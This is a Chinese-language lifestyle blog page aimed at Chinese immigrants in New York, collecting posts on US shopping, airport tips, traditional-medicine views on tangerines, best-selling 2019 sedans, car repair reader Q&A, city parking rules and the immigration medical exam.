相信很多来美国的小伙伴都有帮朋友亲戚买包包的经历. 特别是coach 包,很多人喜欢。赶上折扣，价格也是比国内专卖店便宜，而且款式还是当季的，CP质相当高，送长辈也很棒。除了Coach 还有Michael Kors ，美国经典品牌，拉夫劳伦Polo Ralph Lauren ，纽约原创设计师品牌Kate Spade凯特·丝蓓，都值得购买。

美国必买保健品

来美国保健品是必买的，像是叶黄素，1000mg维他命C ，Burt’s Bee，维骨力Move free，Vicks药厂的VapoRub维克斯达姆膏草本软膏，契尔氏亚马逊白泥or 金盏花化妆水，LA MER海洋拉娜这些基本都是必买款。

美国服装品牌

如果你喜欢美式风格的服装，来美国就千万要把握好机会，美国的衣服便宜质料又好。

-运动品牌: Nike,Under Armour安德玛

-牛仔裤: True Religion Jean , Levi’s

-户外品牌: Columbia

-美国风格: J.CREW, 男装汤米·赫尔弗格, American Eagle(美国鹰)是美国年轻休闲品牌的领导者，将学院风格和最新时尚潮流相结合，是北美最受年轻人欢迎的品牌之一

另外，要提到在美国网购非常方便，如果你是来美国旅游,出差,建议你可以先上网选好想要买什么通通放到购物车,然后等你知道美国地址的时候可以寄到你美国住宿的饭店或是airbnb, 或是可以利用amazon locker取货

2020-01-03 / by happy1 / in 中医/养生/保健, 医疗健康, 律师/移民/金融, 移民生活, 美国新闻

【出行攻略】机场安检须知│搭飞机需要注意什么│登机指南

机场安检，托运行李，在机场容易遇到的问题，在手提行李中放饮水杯或保温杯，将洗手液和消毒纸巾打包，充电宝旅行机场，机场随身必备物品，机场安检须知

随着安检严格，以及越来越多人旅游，乘客一般会选择尽早赶到机场，有时候在机场呆的时间会很长。在闹哄哄的机场等候，很容易产生不耐烦和焦虑情绪。

以下这5个贴士可以帮助乘客做好准备，缓解在机场和旅途的烦恼。

1、将洗手液和消毒纸巾打包

在旅途中，你的手经常会碰触到很多物体，而机场和飞机上处处是细菌；自备消毒物品，可令自己保持健康。

需注意洗手液要符合美国政府规定随身携带液体数量。

2、在手提行李中放饮水杯或保温杯

自带饮水用具可避免在机场花高价购买瓶装水，并保持卫生。

一旦通过安检，你可以用自己的杯子或瓶子从机场饮水机接水；喜欢喝热水的华人，还可以去机场咖啡店，向服务人员要点热水，不过最好顺便买杯咖啡，以示礼貌。

3、随身携带一个接线板

如果你和一群朋友一起搭机，或自己带了数个电子设备，在机场使用接线板，可以同时给多个设备充电。

你的朋友会因这个贴心的举措而感谢你。

4、带一件外衣或围巾

机场和飞机上有时候气温较低，特别是不经常走动时，更容易感到冷。带上外套或大围巾是明智选择。

在飞机上睡觉的时候，外套也可派上用场。厚外套还可以当枕头用。

盛夏时节搭机，往往穿的少，但飞机上的冷气一般很充足，一件外套或大围巾可以保暖。

此外，飞机上提供的毯子一般很难保证清洁。

5、不要忘了带便携式充电器

手机电池耗尽很快，一个便携式充电器可以在旅途中帮大忙。需确保离家前，把便携式充电器充满电。

其它

机场人潮是让人有压力的主要原因，可以规划旅程避免大排长龙。机场在一大早以及傍晚时最为忙碌，因为那时很多商务旅客要旅行；周末则是休闲旅游的尖峰时段。旅游的最佳时段通常在非周末日子的午餐时间到下午三点左右。

此外，随身行李和托运行李要符合航空公司规定的重量以及尺寸，提前为安检作好准备。离家前先将零钱、金属物品以及皮带等打包在手提行李内，可以减少安检时的麻烦。

2020-01-03 / by happy1 / in 其它

纽约报税专家教你如何报税

纽约 New York，法拉盛Flushing，会计师，法拉盛会计师，法拉盛报税，纽约华人会计师，法拉盛成立公司，法拉盛家庭报税，法拉盛公司报税，会计师事务所，报税推荐，报税专家，88 Accounting & Tax

2020-01-03 / by happy1 / in 律师/移民/金融, 理财/报税

橘子的强大功效│如何挑选橘子│橘子的保存方法│什么人不适合吃橘子？

柑橘的作用，柑橘精油的好处，橘皮陈皮作用，橘络，橘肉，如何挑选橘子，橘子的保存方法，什么人不适合吃橘子？

对于中医来说，橘子全身都可作为药用。

橘皮：橘皮可健脾、燥湿化痰，制成陈皮效果更强。陈皮可理气健胃，有胀气时可食用。
将橘子皮用干锅或烤箱烘干后，就成了简易版的“陈皮”，可作为香料加进卤味或炖牛肉，能提升香气、解油腻。橘皮提炼出的橘子精油可提振精神，用于平复沮丧与焦虑。有研究指出，橘子精油的芳香疗法可有效降低妇女在分娩期间的焦虑。橘子皮还能制成天然的柑橘清洁剂，不仅没有刺鼻味道，也不用担心化学清洁剂伤害皮肤及残留于环境的问题。

橘络：中医讲“以形补形”，橘络是一丝一丝的，如同马路般分散开来，因此对人体经络有益，可理气、通畅经络。因受伤、或是上班久坐加上心情烦闷，使气淤住造成紧绷，身体侧边肋骨处出现气塞住的疼痛，此时可吃橘络再搭配其它中药治疗。

橘肉：橘肉较少入药，但有生津止渴化痰的作用，喉咙干时可吃橘肉滋润。橘肉还可促进消化，大鱼大肉过后，不妨来一颗橘子。

橘核：在中医看来，种籽有能量，对身体很好，因此吃橘子时，橘核一同吃下去也无妨。
中医师强调，橘皮、橘核、橘络都要经特殊处理才有药用效果，平常吃只能作为保养，如果生病还是要看医生治疗。

橘子原来全身都是宝，但这三类人要少吃
现代医学研究发现，橘子含有大量抗氧化物，如类黄酮、类胡萝卜素、维生素C、叶酸、膳食纤维与果胶等等，能抗发炎、提升免疫力、减轻自由基对身体的伤害，有助于预防癌症、心血管疾病。美国癌症学会认定的30种抗癌蔬果中，橘子就是其中之一。

橘子性寒、味甜三类人要少吃：寒性感冒、寒性体质、糖尿病者。
在中医观点里，感冒分为寒、热、燥等多种类型，橘子属寒性水果，风寒型感冒吃了会加重病情。风热型感冒则多吃无妨。

◎风寒、风热类型的感冒特征
风热型感冒：鼻涕、痰等分泌物都偏黄且浓稠，可能伴随发烧、喉咙痛。
风寒型感冒：畏寒、白痰、鼻涕如清水状，喉咙不痛。

◎寒性、热性体质的特征
热性体质：口臭、口干舌燥、早上睡醒有眼屎、容易便秘。
寒性体质：容易拉肚子、畏寒。
至于糖尿病患者，因为如今的橘子越来越甜、糖分也高，所以最好少量食用。
除了这三类人之外，一般民众建议一天吃一颗橘子比较适宜。因为吃太多橘子会加重体内湿气，出现胃凉、手脚冰冷、痰变多等症状。即使是热性体质，吃过量也会使胃酸变多、出现白痰，手脚变冰冷。

如何挑选橘子
挑选橘子并不难，留意2点即可：
● 果皮外表光滑，软硬适中。手握橘子时，以能感受到橘皮紧贴果肉的为佳，代表新鲜且水分未流失。
● 用手掂量水果的重量，较重的代表水分饱足。

橘子的保存
橘子不需要放入冰箱，置于通风良好的地方保存即可，并需趁新鲜吃完。如果同一袋橘子里，有一颗出现损伤或发霉，必须立刻拿走，避免整袋橘子全部加速发霉腐败。

2020-01-03 / by happy1 / in 其它

2019年全美最畅销的轿车，前五名全是同一家品牌！

Car and Driver，2019美国最畅销汽车，丰田凯美瑞 Toyota Camry，本田思域 Honda Civic，丰田卡罗拉 Toyota Corolla，本田雅阁 Honda Accord ，尼桑天籁 Nissan Altima

根据Car and Driver 网站收集的各车商销售数据，在2019 前三季度的最畅销家用轿车排名中，前五名全被日本品牌囊括！

No.1 丰田凯美瑞 Toyota Camry
丰田在美国的中型轿车市场中，一直保持着不可动摇的领先地位。它以其持续的可靠性、升级的安全系统配置、先进的导航系统，受到了众多顾客的喜欢。而且，凯美瑞的外观造型豪华，性价比高。

No.2 本田思域 Honda Civic
本田思域在之前的业绩一直都输给其自家兄弟，雅阁。但目前，本田思域有了春笋破土般的强劲上升趋势。不但超过了雅阁的销量，而且拉开的距离越来越大。截止到9月底，其销量比去年同期要增加0.2%。这可能要归功本田思域提供了多款不同的车身设计以及高性能配置。例如，其车身包括四门轿车、四门掀背车、二门跑车。因此，本田思域比许多其他的小型车要有更多的通用性，也就是说无论你选择哪一款车身，它都有很好的油耗表现、灵活的操控性、升级的内仓装饰。虽然它的价格比竞争对手能高一些，但还是值得购买的。

No.3 丰田卡罗拉 Toyota Corolla
最新款的丰田卡罗拉以它时尚动感的造型、优化的性能表现，再加上之前的优良可靠性、娱乐信息系统人机高互动性、人性化设计等有口皆碑的声誉，还是赢得了很多顾客的青睐。而且，顾客们对其2019丰田卡罗拉的驾驶座椅舒适度，众多标配的安全系统、以及强大的语音控制系统都给予了很高的评价。

No.4 本田雅阁 Honda Accord
本田雅阁虽然在去年的表现成绩不佳，但经重新设计后，在2019也有了不错的成绩。只是很可惜销量还是比去年降低了5%。雅阁采用了涡轮增压引擎，充显了强劲的运动驾驶感，无极自动变速、高档的内饰、高标配的驾驶辅助系统、以及更多的储存空间，这些都能让您在长途旅行中体会到绝佳的驾车体验。

No.5 尼桑天籁 Nissan Altima
尼桑天籁与雅阁和凯美瑞一直处于激烈的竞争状态中， 2019年最新款型 Nissan Altima搭载了2.5升涡轮增压四缸引擎，百公里加速5.8秒，可选配全轮驱动。精准的操控性和造型时尚的外观，都让人耳目一新。标配ProPilot安全驾车辅助系统，这在同等级车型当中，都是最先进的安全性能配置系统。虽然其在设计和性能表现上都有了很大的改观，甚至在专业测试当中，某些性能方面超过宝马3系，今年其销售也比去年同期降低4%。

2020-01-03 / by happy1 / in 汽车, 汽车/房产/保险

汽车维修问与答：慢驶时有水晃动的声音

读者陈路问：李师傅您好！
经常读您的专栏，对车的保养知识受益良多，祝福您的专栏越办越好。

我有个问题想请教您：我的车是2013年的韩国现代TUCSON。正常平路驾驶很正常，但是只是在慢速过减速带障碍时车头副驾驶前方有一种水晃动的声音，就像一桶将满未满的水桶颠簸时桶内水晃荡发出的咕噜咕噜的声音一样。以为是玻璃水壶缺玻璃水导致的所以加满了，但声音一样有。也看了看车下地上有空调排的水，好像也不是空调排水口堵塞积水的可能性。

请教您还有其他什么可能性导致有这种声音？有哪些方面需要检查修理？非常感谢您的解答。
顺祝生意兴隆！身体康健！

李进答：陈路您好！

这种水的晃荡声音有可能来自两个地方：

1) 前方防火墙进气口那里可能积水。

2) 副驾驶门里面积水。

为什么？可能是那里的排水孔堵塞，需要清理。
李进

具三十余年汽车维修保养经验，对汽车买卖也很熟悉。
如果您有汽车维修与保养方面的问题，欢迎发信至car_qna@epochtimes.com，来信请注明汽车型号、牌子及年份。

2020-01-02 / by happy1 / in 汽车, 汽车/房产/保险

办公室醒脑的几个妙招

纽约的大公司里繁忙的上班族，紧张的工作，长时间的电脑伏案操作，很多人因为工作环境和工作压力的因素，导致头疼、眼睛痛、昏沈、颈部僵硬。本集邀请纽约针灸协会理事李旭辉医师给大家介绍办公室醒脑的几个方法。比如：适当地活动颈部，双手按压睛明穴、风池穴，有条件到空气清新的地方呼吸一下新鲜空气。

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自然康复疗法，舒缓低头族压力

自然康复法，舒缓低头族压力：现在几乎每个人都有一部手机，每天花很多时间在手机上面，低着头划来划去，所以现在低头族越来越多

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【养生有道】最重要的长寿穴

中医上说，足三里是足阳明胃经的代表穴，也是最重要的长寿穴之一。男女老少按这1穴位，都有不同的神奇功效，纽约中医针灸师李旭辉教大家如何取穴和如何利用这个足三里健康养生的目的。

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在纽约如何找到停车位│纽约自驾停车攻略

纽约自驾车攻略/纽约如何找到停车位/纽约驾车手册/纽约停车指南

纽约自驾游停车攻略：

在纽约没车寸步难行，车能给出行解决很多问题，让生活变得更加快捷便利。但当你成了有车族后，又要面临一个新的问题：像纽约这样的大都市停车费比较贵，车位也不太好找，每天出门吃个饭，或去购物，为了停个车，经常找不到停车位。

在纽约大概分成公共停车场Public Parking：公共停车场和国内一样，进门那卡出门按时间算钱，如果停车卡丢了那就给一天的停车费。

还有一种是路边停车(Street Parking)：和国内也差不多，路上有停车线，路旁有收费表这里面有需要的注意的是，路边有的会限时Limited Time Parking，有的是特征停车(比如限货车装货),有的是分时段停车，某些时段是不许停车的，所以看清楚牌子再停车。

关于收费表交费meter表：一般只收硬币，所以提前备好零钱，个别的可以刷信用卡。投币后输入车位号就行。

纽约市的车位非常有限，指定地方才能停车，而且不像国内有专人收费，几乎都是自助缴费。最常见的就是咪表。因为美国人工贵，所有的停车缴费都是在咪表上完成，咪表会比普通停车场便宜很多，一般是2刀/小时，不过也要看具体路段。

付费方式：硬币/信用卡

如何缴费：

1、停好车后，插入信用卡或投入硬币，咪表上“+Time”表示增加时间，“-Time”表示减少时间，通过按这两个键来设置停车时长。

2、按绿色“OK”键确定，咪表上红灯变成绿灯开始倒计时计费。

3、有的咪表会打印出一张停车收据，可以放在车内驾驶座前的挡风玻璃，方便交警查看。有些咪表不会打印出收据，就不用管了。

有些地方的咪表，最多只能交2小时停车费，这并不代表两小时后就不用交钱了，而是最多只能停2小时，到了时间需要续费或者挪车，不要有侥幸心理，否则小心警察罚单哟！

有些地区到了晚上（比如晚上8点以后），或者周日，咪表上会显示免费停车。那么妥妥的不用交钱。

1、在收费停车场停车，需要注意：如果是人工收费，通常在入口处领取停车卡，记录进入的时间，出场时交费;如果是自助交费或设置咪表的路边车位，要求司机主动投币或刷卡，付款后的收据一定要放在汽车前挡风玻璃内显眼处，流动收费员会随时检查，如发现没有收据，视为逃票予以罚款。

2、请注意路边的标志，有的地方是限制某些时段可以停车，有的地方规定只能停15分钟或者30分钟或者2小时。

3、有残疾人标志的P位总是在最方便，最显眼的位置，也常常是空着的，千万不要停那里。

4、R POOL 必须是2人或者3人以上才能进入(具体多少人看路边标志牌)。

5、到救护车、消防车的警笛声不要像国内一样，要靠边停止。

6、车在你后面亮着警灯，靠边停下，不要下车、双手放方向盘上，按警察的要求做即可。

如果遇到No Stoping，不可以做任何停车动作！

如果遇到No Standing，只可以接送乘客！

如果遇到No Parking，只是不可以在此处泊车！

持有相关许可证才能免费停车，这种许可证包括Resident, Visitor, Business, Handicapped等。如果没有相关许可证，可能会被拖车拖走，需要去拖车公司缴纳罚款才能把车“赎回来”！

红线

绝对不能停！红色区域一般在消防栓、人行横道、公交站附近，停车时一定要离红色区域有一段距离，防止被拖车。

白线

接送乘客（偶尔有几个可以停）

黄线

也是载货区域，在白天只限于商业用载货或者接送乘客。

绿线

可以停车，但有时间限制。旁边会有标牌说明可停留的时段。

蓝线

千万不要误停。持相关许可证或指定车辆，如残疾人车辆，可停车。如果误停残疾人停车位，在加州会面临高达1000美元的罚款，或监禁在监狱长达6个月，甚至两者皆受！

关于纽约市各个街道停车规定，可以详见以下网址：

http://www.nycdot.info/

2020-01-01 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

汽车维修问与答：追尾能自己修吗？

读者Jianming问：你好，我上个星期追尾了。现在冷气不冷，空调外机风扇也不转，我还是学生，所以车子一直没有修，我的车是2014 Toyota RAV4。我能自己修吗？如果不是很严重。谢谢！
李进答：Jianming您好，有可能碰撞导致风扇卡住了，看看是否可以“掰开”？肯需要朋友帮忙。车前方的空调管道和散热器有可能破裂导致冷媒泄漏。更换管道或散热器需要一些经验。自己修不大容易，因为不知道碰撞的严重性。

读者YY问：李进师傅，你好。

1）红色2003 Pontiac Vibe，每年做防锈，上星期才发现司机位车顶盖角位连接和挡风大玻璃接合位置约寸半长有锈，不知道什么时候开始。请教怎样补救？买什么去清洁和去那里买？买什么牌子颜料去涂防止恶化？车是枣红色所以一直也没察觉生了锈。

2）每天第一次启动汽车时一下就OK，但跟着去别处回来后再挞车去别处要三秒才OK。若一天去六处地方的话，最后那次就要花六秒才能启动。何解，是否要换滤蕊塞了？

多谢解答!

李进答：YY您好，

1) 挡风玻璃接合的地方不容易解决，需要把挡风玻璃取出后把生锈的地方打磨，重新打底漆，油漆后再把挡风玻璃安装。手续不简单。

2) 这个启动困难的问题可能出自于水温传感器，热启动困难是因为传感器在热车时仍然是出于冷启动的状态。可以请师傅检查一下，更换起来不难。汽油滤芯Fuel Filter更换起来不难，网上搜寻一下可以有个大概的价格范围。

读者YY回信问：李进兄，车内司机前面原装地毯（Carpet）好像有白雾箘，用了清洁用的漂白水和洗碗水一星期，但几天后又出来了。不知是何种箘？请问怎处理或买什么东西来喷洒？谢谢！后面两座位Carpet暂不受影响，无此问题。谢答复!

李进答：YY您好，原因可能来自空调的排水管道堵塞，导致空调的冷却水无法排出，囤积过多后开始溢出。需要清理、打通排水管。

李进具三十余年汽车维修保养经验，对汽车买卖也很熟悉。
如果您有汽车维修与保养方面的问题，欢迎发信至car_qna@epochtimes.com，来信请注明汽车型号、牌子及年份。

2020-01-01 / by happy1 / in 汽车, 汽车/房产/保险

汽车维修问与答：CEL亮灯要检查故障码

读者Wei问：李先生您好！我太太的车是2000年Toyota Corolla、已跑了137,125英里。前一阵Check Engine Light亮起同时闻到橡胶？塑胶？烧焦的味道，修车师傅给换了Carbon Canister Assembly（77790-02102），跑了2天当开启除雾器（defogger）时Check Engine Light又亮起，修车师傅说是同样的毛病，又换了一个Carbon Canister Assembly。

试车好几天，交车第二天Check Engine Light又亮了，修车师傅说做过Smoke Test管线没有漏气，这次他把ECU（Electronic Control Unit）换过一个旧的，试车8天跑了几百英里说没问题，我开回家不到1英里Check Engine Light又亮了，修车师傅说花了好多时间检修，真不知道是啥毛病？建议把旧零件装回去愿退还修车钱。

我儿子把车送去代理商修车厂检测DTC是P0446，说Emission Test通不过，但可以继续开不致有危险，要价$150。做细部检测我没让做，儿子换个油箱盖子并消灭警示灯（Turn Off Check Engine Light)，第二天上下午各跑了短程没问题，隔天开启除雾器（defogger）Check Engine Light又亮了，我猜大概是哪个电气部件有问题？这部车给了我们非常忠诚的服务，我们也有按时保养换各种油液刹车皮。修车厂说Timing Cover, FIPG, Coolant, Front Crank Seal, Timing Chain Tensioner Gasket, Valve Cover Gasket要换还发现有漏油，请您给我建议。

谢谢！祝健康快乐！

李进答：Wei您好，当Check Engine Light（CEL）亮灯后，一定要使用故障码取读器来取读故障码。P0446是EVAP System Vent Control的问题。通常是控制阀（Vent Solenoid和Purge Solenoid），或者是油箱压力传感器（Tank Pressure Sensor）有问题。或者是控制阀的接线接触不良，或者是之间的橡胶管道有堵塞或爆裂。这个需要有经验的修车师傅检查EVAP（燃油挥发控制系统）的每一个元件。我在网上搜寻到一个链接上面有个很清晰的EVAP系统结构图做参考。这个和油箱盖的关系不大，虽然不少修车师傅第一件事就是让客户更换油箱盖。修车厂讲的那些东西和这个问题关系不大。https://parts.olathetoyota.com/p0446-code-toyota

读者Wei问：李先生您好，谢谢您的帮忙。

一位韩裔技师告诉我故障码P0446比较复杂，油箱里挥发的油气经由管道送回汽缸里燃烧，他做了烟测（Smoke Test）管道没有漏气；问题出在真空阀门（Vacuum Valve）故障（每20周期漏掉1次）。换过真空阀门就解决了，价钱还蛮公道的；不料过几天警告灯又亮了还是P0446，韩裔技师说他换过Solenoid，徒手检查系统内所有零件都没问题，用电脑查核也显示正常，这下他真没辙！？

由于车龄超过10年，而且每年行驶哩数低于5,000，老年人的车辆可以免除Emission Test；技师们说继续行驶应无危险，所以我暂时不理它。

谨此敬祝健康快乐！
李进答：Wei您好，P0446不错就是和EVAP系统有关。这个系统不复杂，但是问题发生后的时候还真的比较棘手。如果他们已经换过了真空阀，那问题肯定不在那里。我猜想问题可能出在：

1) 其他2个阀门。

2) 真空管道堵塞。（没有漏气并不代表没有堵塞）

3) 压力传感器Pressure Sensor

请参阅随信附上的EVAP 系统布局图做参考。

2020-01-01 / by happy1 / in 二手车, 其它, 汽车, 汽车/房产/保险

汽车维修问与答：暖车后冒白烟不正常

读者威儒问：李师傅您好，小弟姓周，小弟爱驱是奥迪A4 1.8T ，怠速常发现后排气管冒出大量白烟，味道闻起来不像水蒸气的味道，不确定机油是否有减少，因也刚好到保养的周期了，所以机油减少也是正常的（？）

所以请问是油封出问题还是汽缸垫片出问题？一般来说价位大概落在哪里？
李进答：威儒您好，冷启动时冒一些白烟是正常的，因为排气管内的过夜凝结水被高温尾气加热后成为水蒸气被排出。但是暖车后还会冒白烟则不正常。需要检查引擎是否有“穿缸”或“烧缸”现象。一个判断的方法是检查机油是否有类似咖啡加奶的颜色。如果是的话则问题就比较严重。修理的价格不菲。建议您跟2-3加车行多打打价钱。

多数是气缸垫片出了问题。

读者Jung Lung问：李先生你好，请教：我的车2012 BMW X5 35I Gasoline。Dashboard Indicate Engine Signal (Yellow)经由OBD II Scanner查是代号P440。

我清洁了Gas Cap并删除此代号后一星期又出现一样的代号。

请问：

1) 是不是 Evap Canister Purge Control Valve问题或其他？

2) 如果是的话，没有换会怎样？会影响安全吗？

3) 如果换的话，大约要多少？

谢谢你。

李进答：Jung Lung您好，P0440和EVAP系统（燃油蒸发控制系统）有关。

通常有几种状况：

1) 系统有漏气，检查一下橡胶管道是否有裂开导致漏气。

2) 电磁阀Purge和Vent的Control Valve不正常需要更换。

3) 压力传感器本身有故障或接触不良Fuel Pressure Sensor。

价格（零件）可以上网搜寻一下。人工则建议货比三家，比较一下报价。
李进

2020-01-01 / by happy1 / in 汽车, 汽车/房产/保险

2020年美国移民体检最新攻略│移民体检须知│哪些疾病影响移民申请？

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想移民美国的华人，最关心的话题莫过于移民流程了，特别是首当其冲的移民体检。移民体检是移民申请必走的程序，移民体检需要检查什么？移民体检有哪些疾病影响到移民申请？

移民体检（Immigration Medical Examination）是移民美国必须经过的一道程序。根据美国移民法，要申请绿卡，必须通过移民体检，而且做移民体检的医生（civil surgeons）必须是移民局批准认证的医生，移民局才会承认体检结果。

移民体检都要检查哪些内容？哪些类型的疾病会影响移民申请？纽约家庭医生郭晓军就移民体检相关问题作了详细解答。

Q：移民体检检查哪些疾病？

郭晓军：移民体检的主要目的是从公共健康角度，筛查不符合移民条件的申请人。体检内容包括“疾病”和“预防接种”两个部分。

疾病包括对公共健康有危害的传染病，比如结核病、梅毒、淋病、麻风病、可能造成伤害的生理或精神行为疾病，以及毒品滥用或成瘾。

预防接种是根据不同年龄段，检查是否已经接受过所需的疫苗。

Q：做结核病测试，应该选哪种方法？

郭晓军：在需要检查的传染病中，结核病目前有几种不同的测试方法。我们一般做的抽血试验有两种。以前要想做传统的PPD也可以，但是自2018年起已不再接受PPD皮试。

抽血检验的方法有很多优点，相对来说更准确，敏感性和特异性比较好。敏感性就是病人如果有病是否能够检测出来，特异性就是病人如果没病就会呈阴性。

如果抽血结果呈阳性，那么患者就要接受X光检查，如果有活动性病灶就要接受治疗。如果没有活动性病灶就按潜伏性结核处理就可以了。

Q：不同年龄的人，体检项目不同？

郭晓军：移民局对不同年龄申请人的体检内容有不同的要求。比如前面提到的结核病检测适用于2岁以上的移民，2岁以下的一般不要求，不过如果有证据显示孩子接触过患者或其它原因也会测试。

另外，小孩子感染梅毒的机会比较少，一般15岁以上才需要检测，淋病也是针对15岁以上的人群。当然，如果有证据或其它原因，需要的话医生也会检测。

Q：需要哪些疫苗记录？

郭晓军：移民体检还要看你的免疫状态。移民法要求申请人需要有十几个疫苗记录，包括：百日咳、破伤风和白喉、脊髓灰质炎、风疹、麻疹、腮腺炎、流行性脑炎、流感嗜血杆菌、乙肝、甲肝、水痘、肺炎、轮状病毒、流感疫苗等等。这些疫苗在某些年龄段要求有所不同，并不是所有的疫苗都要接种。

如果你在出国之前已经把疫苗打完了（有免疫记录为证），或者抽血检查发现你已经有足够的免疫力，这两种情况都可以证明自己不需要再打多余的疫苗了。比如麻疹、风疹、腮腺炎、水痘、乙肝等，通过验血都能证明抗体的存在，只要抗体有足够数量，符合要求就行了。

如果患者对某些疫苗过敏，可以不打。在打之前医生会介绍打的疫苗都是预防哪些疾病的。如果打出什么问题，每支疫苗上都有索赔电话。从统计学看，注射疫苗的好处大于坏处。

Q：移民局对体检表有何要求？

郭晓军：体检表（Form I-693）填好后，医生会把表格用信封封好，由申请人转交移民局。如果移民局收到的信封没有封好，或被打开了，或有修改的痕迹，将被视为无效证明。体检表要在表格填好后的60天之内递交给移民局，有效期是两年。

Q：健康记录作假会怎样？

郭晓军：申请人需要如实回答健康情况。比如体检询问是否有精神类疾病（如精神分裂症），患者一定要如实提供个人的健康状况，如果不如实提供，有了不良记录会影响移民。

大多数人或多或少会有一些健康问题，但都在可接受的范围，有病去治疗就可以了，所以不必过分担心、故意隐瞒。

有一点要说明，即使移民申请人有身体或精神上的疾病，移民局不会因此判断你是否适合移民，因此拒绝你的移民请求。移民局会根据体检结果判断这些疾病会不会对你自己或别人及其财务造成伤害。如果有潜在伤害的话，有可能会被认为不适合移民。

如果检查结果说明你有某些方面的问题，医生会提出合适的治疗或转诊计划，另外，移民局也会通知你是否需要申请一个豁免，移民局有具体的豁免条例。

医师小档案：郭晓军

郭晓军，医学博士，美国内科专科特考文凭，法拉盛医院、塞普洛斯疗养院主治医师，曾在美国多州多所医院任职，善于挖掘病因，对症治疗。擅长诊断各种急慢性病、疑难病症、以及老年病预防。

● 法拉盛诊所
136-68，罗斯福大道5楼D室，法拉盛11354（梅西百货旁新楼）
电话：718-285-9688

●长岛诊所
45大颈火车站北广场（45NStation Plaza）,214室，大颈，长岛11021
电话：718-285-9669

看诊时间：周一至周六（周日预约）

郭晓军纽约家庭医生718-285-9688 内科诊所/家庭医生/糖尿病/高血压/风湿/花粉过敏/纽约法拉盛诊所

2019-12-31 / by happy1 / in 律师/移民/金融, 疫苗, 移民/签证/护照, 移民生活, 美国新闻

汽车维修问与答：汽车无法发动查什么

读者苏先生问：我的汽车是2009年Acura MDX。2018年1月换了Sears买的Die Hard Gold牌子的电池。但自2019年1月份起，汽车第二天后就发不出，要Jump Start即可。自1月至今天为至，已经去买电池Sears的保修部四次，每次电池拆下Charge后都说电池好的。最后一次在它那里，还检查了汽车，有电子报告给我，说汽车也无漏电现象。不过我想还是电池问题，李师傅怎么指教？

李进答：苏先生您好，根据您的描述，如果确实没有漏电的话，感觉上是您车子的发电机失效或有故障，需要更换。

读者苏先生回信：谢谢李师傅的回信，现在已是7月份了，毛病从1月份开始，当时天气还冷，开始48小时后还可以发出，后来只能在24小时内才可点燃引擎。因为我大多数两天之内会用车，既然可以发出，也不去修了，近段时间，天气转暖，基本上48小时后还可发出（没有试过更长时间），准备以后换个电池，（我总怀疑是电池的问题），以后一定把结果告诉你。如果发电机有问题，产生的电少，那么没有理由在24小时内可以发出，而48小时后发不出。应该和停留时间无关系。我开车很规律，星期一，三，四上午9点，每次8 Mile，所以我计时很正确，汽车行也查了说汽车无漏电（有电子报告）。2009 MDX 6万Mile还不到。不过我很有兴趣搞清这个问题，以后一定把结果告诉你。谢谢。

读者苏先生来信：李师傅，现在已经10月了。上次是7月给你的信，因为二三天不发动，以后车子仍发得出，所以也让他它去了。九月初出了一次门，十天回家后，汽车一点电也没有了（因为用遥控器开车门一点反应也没有），经Jump后发动了，但以后的情况是过48小时或更短的时间，汽车还是发动不出。所以我换了新电池，这次我周未开车，但今天用车，一次顺利发出，所以汽车没问题，就是电池性能下降了。那个旧电池我去了Sears检查了三次。（每次都是大约充电一小时后，再测定性能，都有报告说电池好的）。现在搞清了，还是电池的问题。自己也长了知识，因为你提起想知道结果，特告诉你这个情况。

2019-12-31 / by happy1 / in 汽车, 汽车/房产/保险

汽车维修问与答：开暖气没有热风

读者小袁问：您好，李师傅，我的车型号是2002年Toyota Camry，在做年检时修车师傅告知Engine Upper Right Stabilizer Mount Split，请问这个问题严重吗？谢谢。

李进答：小袁您好，这个问题不好说，需要进一步得到第三者的认证，因为丰田的车辆质量不错，这方面不大出问题。所以需要核实一下，千万别被人坑了。通常引擎的支架（Motor Mount)有裂开会发生，但是不表示无法开车。

读者小袁回信：李师傅，解释得很清楚啊，太谢谢您了！

读者Simone问：李师父好。今年8月14买了一辆2014年Honda Dealer Certified CRV。一切很好，开时车子很稳，厚实。音响效果很享受。9月14夜里天气转凉，我开启暖气（我在加拿大Ontario省），没暖气。隔日送回Honda。据Honda说他们取下暖气管，浸入CR to take off the calcium。

隔日我晚上倒档离车位时，发出极大的声响，Honda事后解释是天冷Brake膨胀。车停在Honda一天，极恐怖的金属磨擦声没再出现。但我与朋友取车时，感觉有咝嘶的风声？不知从何而来。

隔日开长程，觉得车子噪音极大，像在开货车，音响效果不见了。车内风声噗噗，但没有风。再回Honda路试，我解释车厢的封闭感不见了，但Honda拒绝承认修了暖气，车子整体感觉不对，我又无法正确形容。

请问：暖气通风会否影响车子的隔音？现在开长程会感觉耳鸣，有种压力不平衡的感觉。谢谢你的时间，希望尽快收到回应。

我有2003年的CRV，35万余公里，花最多的该是刹车及轮胎，车况如新。忍痛换新一点年份的，皮椅、天窗、升等音响，只回Honda检查Heat，结果成了一部货车。不知如何是好，才买至今两个月。要Honda修，但他们说车子完全没问题。但是车窗关或开，没有两样。非常难受。谢谢指教。

李进答：Simon您好，这个问题还真的不容易回答。照道理，暖气没有热风多数是控制热水的电动阀没有打开，或者是控制电动阀的连杆松脱。但是从您的形容来看，似乎是他们做了其他的一些动作，造成了噪音。还有，您没有提及暖气是否恢复正常？

我猜测可能是：

1) 修车技工把车子放到升降机上没有放对地方，导致车子的悬挂系统，甚至车门没有密封好，出了些问题。

2) 他们取下暖气管的动作很令人怀疑，因为2014年的车还蛮新的，照道理暖气管不会有任何的堵塞。

3) 他们在修理暖气时可能忘记放回某些“挡板”，或者某些密封的垫圈没有放回去，导致路面行驶的噪音进入驾驶舱。

4) 倒车的噪音与Brake膨胀无关，因为您也可能把车子停在外面过夜，对吧？再说，一个晚上的寒冷应该造成刹车Brake的收缩才对，是吧？这种修车厂的回答简直就是忽悠客户。

2019-12-31 / by happy1 / in 二手车, 汽车, 汽车/房产/保险

汽车维修问与答：新车做油漆保护值得吗

读者Andrew问：您好！李师傅，我的车是2009的Toyota RAV4，已走168,000公里，最近发现急转弯时发出吱吱的声音，换冬胎时叫师傅检查了一下，说是两个内拉杆松动，要更换，连工带料要$2,700加税。想向您请教一下，这种情况需要马上更换吗？我打算明年开春换夏时再找另一家询价后再换，感觉$2,700有点贵。

候复，谢谢！

李进答：Andrew您好，如果仅仅是转弯时有吱吱声，（而直线行驶时没有噪音）需要检查传动轴Drive Shaft的CV Joint Cover（防尘罩）是否有爆裂，导致石头子或其他东西进入，导致CV Joint本身磨损。

